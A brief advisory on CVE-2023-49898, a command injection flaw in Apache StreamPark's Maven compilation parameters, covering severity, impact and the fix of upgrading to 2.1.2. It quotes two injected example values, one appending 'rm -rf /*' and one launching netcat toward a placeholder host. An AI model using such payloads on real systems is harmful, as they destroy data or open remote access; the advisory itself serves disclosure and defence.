CVE-2023-49898: 
Java vulnerability analysis and mitigation

Apache StreamPark, versions from 2.0.0 up to (excluding) 2.1.2, contains a remote command execution vulnerability (CVE-2023-49898). The vulnerability exists in a project module that integrates Maven's compilation capability, where there is no validation of Maven compilation parameters (NVD).

The vulnerability is classified as a command injection vulnerability (CWE-77) with a CVSS v3.1 base score of 7.2 HIGH (Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H). The issue allows attackers to insert commands for remote command execution through Maven compilation parameters. For example, attackers can craft malicious commands using compilation parameters like '/usr/share/java/maven-3/conf/settings.xml || rm -rf /*' or '/usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &' (NVD).

If successfully exploited, this vulnerability could allow authenticated system users to execute arbitrary commands on the affected system. However, the risk level is considered very low because exploitation requires both system-level permissions and user login credentials (NVD).

Users should upgrade to Apache StreamPark version 2.1.2 or later to address this vulnerability (NVD).